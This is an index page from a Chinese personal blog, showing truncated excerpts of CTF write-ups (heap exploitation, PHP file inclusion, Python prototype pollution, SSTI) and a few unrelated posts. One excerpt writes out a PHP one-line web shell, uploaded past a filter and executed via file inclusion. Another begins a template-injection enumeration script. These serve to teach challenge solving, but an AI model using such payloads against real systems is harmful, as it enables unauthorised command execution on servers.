golden的部落阁

# ezheap 详细题解（Writeup） # 一、题目信息 项目 内容 题目名称 ezheap 考点 堆溢出 + 函数指针劫持（无需 __free_hook ） 运行环境 glibc 2.23（Ubuntu 16.04，无 tcache） 靶机地址 node5.anna.nssctf.cn:27448 附件 ezheap （ELF 64-bit）、 libc-2.23.so # 二、保护机制 12345Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE...

# 逆向作业 —— 扫雷 0 秒破解 ​ 这学期的逆向期末大作业是破解扫雷，由于我不是逆向这个方向的，所以对逆向破解了解不多，正好一直不知道写些啥进博客，干脆把作业写进来吧。内容不是很多，很短，但是破解这玩意儿真挺有意思的。 ​ 扫雷想做到 0 秒通关，可以在某种意义上进行 0 秒通关，第一点就是让时间永恒为 0，不增加；第二点就是让在游戏开始的一瞬间直接通关。 ​ 但显然，这个游戏好像有点不太可能用到第二种手法了，因为游戏在开始的一瞬间，时间就变成了 1。 ​ 那就只有在时间上动手脚了。 ​ 用 CE...

# 背景： # 笨办法： ​ 我在经过无数次的尝试之后，发现无论我怎么操作，都存在一个问题，就是 git 无法成功推送到服务器，这个就很难办了，所以，个人感觉只有使用一个本办法才能操作了，如下： ​ 首先，老办法，将我们的 hexo 推送到 GitHub 上，之后等一会儿，能看了之后再说， ​ 然后，我们在目标服务器上运行以下代码（前提，创建一个 / Temp 目录）： 1234567cd /Temp/blogrm -rf *rm -rf /var/www/html/*git clone https://github.com/g01den1/g01den1.github.io.gitmv...

# 记录第一次 SpringBoot 开发的失败经历 一个小功能的失败的开发经历 # 一、开发前的想法 ​ 刚开始的时候，乌蒙地插传分的时候每次都要一步步输入 Bot 的指令，我就想了以下，刚好最近几天入门了 Java，想着搞个神秘的玩意儿，来自己构造一个简单的 controller 来自动生成 Bot 指令。 ​ 以下是我的开发失败经过 # 二、前端和前端渲染问题 ​ 因为有过一些 Python 的 Flask 框架的基础，所以我知道一个东西叫模板渲染，这个可以保证后端代码的简洁，所以找 ai...

第一天打得头疼眼睛疼，我以为是被脑洞给干烂了，结果是tm感冒了，回去吃个药秒好了，但是脑洞太难蚌了，第二天打舞萌去了，没解后面的题了，不过幸好没看，后面有些题还真不大好写。 # Web： # 老爷爷的金块 现在不知不觉 2025 年了，曾经在 4399 里遨游的小孩儿也变成大人了… 重新看了一遍 4399 的经典游戏，想起了这个努力挖矿的老爷爷。 下载附件，打开 exe，重温童年的乐趣！ 提示 11. 请注意获得的 flag 第六段前面有一个空格哦～ ​ 打开是个游戏，打完就有 flag，当然分数要过 1000 ​ 另外一个想法，就是，浏览文件，发现 bk_flag.png...

# Python 栈帧逃逸： # 1、yield 语与生成器函数： ​ python 中的 yield 语句用于定义生成器函数，它能让函数在运行过程中暂停并保存当前状态，后续再恢复执行。 ​ 生成器 是 Pythonn 中一种特殊的迭代器，它可以在迭代过程中动态生成值，而不需要一次性将所有值存 0 储在内存中。 ​ 举个生成器的例子： 1234567891011121314151617181920212223242526272829def func(): print("生成器函数第一次执行") yield 1...

# python 原型链污染 ​ 后面会有跟着 Article_kelp 慢慢操作的，前面先面向题目学习。 # 背景： ​ 国赛遇到了这个考点，然后之后的 DASCTF 夏季挑战赛也碰到了，抓紧粗略学一手，学了 JavaScript 之后再深究原型链污染。 # 简介： ​ python 中的原型链污染是指通过修改对象原型链中的属性，对程序的行为产生以外影响或利用漏洞进行攻击的一种技术。 ​ 在 Python...

# Web # [LitCTF 2025]easy_file ​ 登录框弱密码爆破为 admin:password，之后跳转到文件上传点，只能上传头像，并且 php 被过滤，短标签绕过： 1<?= system($_REQUEST['cmd']);?> ​ js 里面存在提示，说 file 查看头像，估计是可以文件包含。直接传： 1/admin.php?file=uploads/a.jpg&cmd=tac f* ​ 进行 rce。 # [LitCTF 2025]nest_js ​ 登录框弱密码爆破还是...

# BUUOJ-[NPUCTF2020]ezinclude 1 # 涉及的知识点 文件上传时的临时文件 php7 文件上传时 Segment Fault ，上传的临时文件不会被删除 绕过 disable_functions # 解题过程 ​ 扫个目录，存在 index.php 、 dir.php 、 404.html ​ 404.html 没啥用，先看 dir.php ，好像获取目录内文件的，但是不知道是什么地方的，之后看看。 ​ index.php 抓个包： 123456789101112131415HTTP/1.1 200 OKServer: openrestyDate: Mon,...

# web361： ​ name 传参，直接干： 123456789101112131415161718192021from requests import getdef get_wrap(): for i in range(100,200): url = "http://a96b5242-08d2-4901-8692-4b324f00d95a.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[" +...